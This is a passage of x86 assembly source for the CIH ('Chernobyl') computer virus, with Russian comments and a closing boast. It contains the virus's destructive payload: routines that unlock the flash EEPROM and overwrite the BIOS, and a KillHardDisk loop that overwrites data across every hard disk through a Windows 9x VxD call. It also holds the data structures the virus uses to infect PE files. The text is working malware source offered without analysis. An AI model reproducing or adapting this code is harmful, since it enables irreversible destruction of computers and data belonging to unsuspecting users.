lea esi, IOForEEPROM-@7[esi] ;---------------------- ; Прочитать страницу BIOS ; 000E0000 - 000EFFFF ; ( 64 KB ) ;---------------------- mov edi, 8000384ch mov dx, 0cfeh cli call esi ;---------------------- ; Прочитать страницу BIOS ; 000F0000 - 000FFFFF ; ( 64 KB ) ;---------------------- mov di, 0058h dec edx ; and al,0fh mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h call esi ;---------------------- ; Прочитать дополнительные данные BIOS ; 000E0000 - 000E01FF ; ( 512 Bytes ) ; и секция дополнительного BIOS (Extra BIOS) ; может быть записана... ;---------------------- lea ebx, EnableEEPROMToWrite-@10[esi] mov eax, 0e5555h mov ecx, 0e2aaah call ebx mov byte ptr [eax], 60h push ecx loop $ ;---------------------- ; Прибить дополнительные данные BIOS (BIOS Extra ROM Data) ; 000E0000 - 000E007F ; ( 80h Bytes ) ;---------------------- xor ah, ah mov [eax], al xchg ecx, eax loop $ ;---------------------- ; Показать и включить основные данные BIOS {BIOS Main ROM Data} ; 000E0000 - 000FFFFF, (128 KB), может быть записана... ;---------------------- mov eax, 0f5555h pop ecx mov ch, 0aah call ebx mov byte ptr [eax], 20h loop $ ;---------------------- ; Прибить данные об основном BIOS {BIOS Main ROM Data} ; 000FE000 - 000FE07F, (80h Bytes) ;---------------------- mov ah, 0e0h mov [eax], al ;---------------------- ; Спрятать страницу BIOS ; 000F0000 - 000FFFFF,(64 KB) ;---------------------- ; or al,10h mov word ptr (BooleanCalculateCode-@10)[esi], 100ch call esi ;-------------------------- ; Разьебать жесткие диски ;-------------------------------------------------- ; IOR Cтурктура, требуется для IOS_SendCommand ;-------------------------------------------------- ; ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? * ; 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 * ; ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * ; ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * ; ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? * ;-------------------------------------------------- KillHardDisk: xor ebx, ebx mov bh, FirstKillHardDiskNumber push ebx sub esp, 2ch push 0c0001000h mov bh, 08h push ebx push ecx push ecx push ecx push 40000501h inc ecx push ecx push ecx mov esi, esp sub esp, 0ach LoopOfKillHardDisk: int 20h dd 00100004h ; VXDCall IOS_SendCommand cmp word ptr [esi+06h], 0017h je KillNextDataSection ChangeNextHardDisk: inc byte ptr [esi+4dh] jmp LoopOfKillHardDisk KillNextDataSection: add dword ptr [esi+10h], ebx mov byte ptr [esi+4dh], FirstKillHardDiskNumber jmp LoopOfKillHardDisk ;-------------------------- ; Разрешить EEPROM для записи ;-------------------------- EnableEEPROMToWrite: mov [eax], cl mov [ecx], al mov byte ptr [eax], 80h mov [eax], cl mov [ecx], al ret ;-------------------------- ; Ввод/вывод в EEPROM ;-------------------------- IOForEEPROM: @10 = IOForEEPROM xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp in al, dx BooleanCalculateCode = $ or al, 44h xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp out dx, al ret ;-------------------------------------------------------- ; Статические данные ;-------------------------------------------------------- LastVxDCallAddress = IFSMgr_Ring0_FileIO VxDCallAddressTable db 00h db IFSMgr_RemoveFileSystemApiHook-_PageAllocate db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook db IFSMgr_Ring0_FileIO-UniToBCSPath VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h VxDCallTableSize = ($-VxDCallIDTable)/04h ;-------------------------------------------------------- ; Цопирайт ;-------------------------------------------------------- VirusVersionCopyright db 'CIH v' db MajorVirusVersion+'0' db '.' db MinorVirusVersion+'0' db ' TATUNG' ;-------------------------------------------------------- ; Размер вируса ;-------------------------------------------------------- VirusSize = $ ; + SizeOfVirusCodeSectionTableEndMark(04h) ; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) ; + SizeOfTheFirstVirusCodeSectionTable(04h) ;-------------------------------------------------------- ; Динамические данные ;-------------------------------------------------------- VirusGameDataStartAddress = VirusSize @6 = VirusGameDataStartAddress OnBusy db 0 FileModificationTime dd ? FileNameBuffer db FileNameBufferSize dup(?) @7 = FileNameBuffer DataBuffer = $ @8 = DataBuffer NumberOfSections dw ? TimeDateStamp dd ? SymbolsPointer dd ? NumberOfSymbols dd ? SizeOfOptionalHeader dw ? _Characteristics dw ? Magic dw ? LinkerVersion dw ? SizeOfCode dd ? SizeOfInitializedData dd ? SizeOfUninitializedData dd ? AddressOfEntryPoint dd ? BaseOfCode dd ? BaseOfData dd ? ImageBase dd ? @9 = $ SectionAlignment dd ? FileAlignment dd ? OperatingSystemVersion dd ? ImageVersion dd ? SubsystemVersion dd ? Reserved dd ? SizeOfImage dd ? SizeOfHeaders dd ? SizeOfImageHeaderToRead = $-NumberOfSections NewAddressOfEntryPoint = DataBuffer ; DWORD SizeOfImageHeaderToWrite = 04h StartOfSectionTable = @9 SectionName = StartOfSectionTable ; QWORD VirtualSize = StartOfSectionTable+08h ; DWORD VirtualAddress = StartOfSectionTable+0ch ; DWORD SizeOfRawData = StartOfSectionTable+10h ; DWORD PointerToRawData = StartOfSectionTable+14h ; DWORD PointerToRelocations = StartOfSectionTable+18h ; DWORD PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD NumberOfRelocations = StartOfSectionTable+20h ; WORD NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD Characteristics = StartOfSectionTable+24h ; DWORD SizeOfScetionTable = Characteristics+04h-SectionName ;-------------------------------------------------------- ; Размер памяти, необходимой для вируса ;-------------------------------------------------------- VirusNeedBaseMemory = $ VirusTotalNeedMemory = @9 ; + NumberOfSections(??)*SizeOfScetionTable(28h) ; + SizeOfVirusCodeSectionTableEndMark(04h) ; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) ; + SizeOfTheFirstVirusCodeSectionTable(04h) ;---------------------------------------------------------------------------- ;---------------------------------------------------------------------------- VirusGame ENDS END FileHeader ;---------------------------------------------------------------------------- ; Программер хороший, а английского нихуя не знает :) ;---------------------------------------------------------------------------- ; ; (x) ; ; Lurking in the dismal fog ; Hungry for your blood ... ;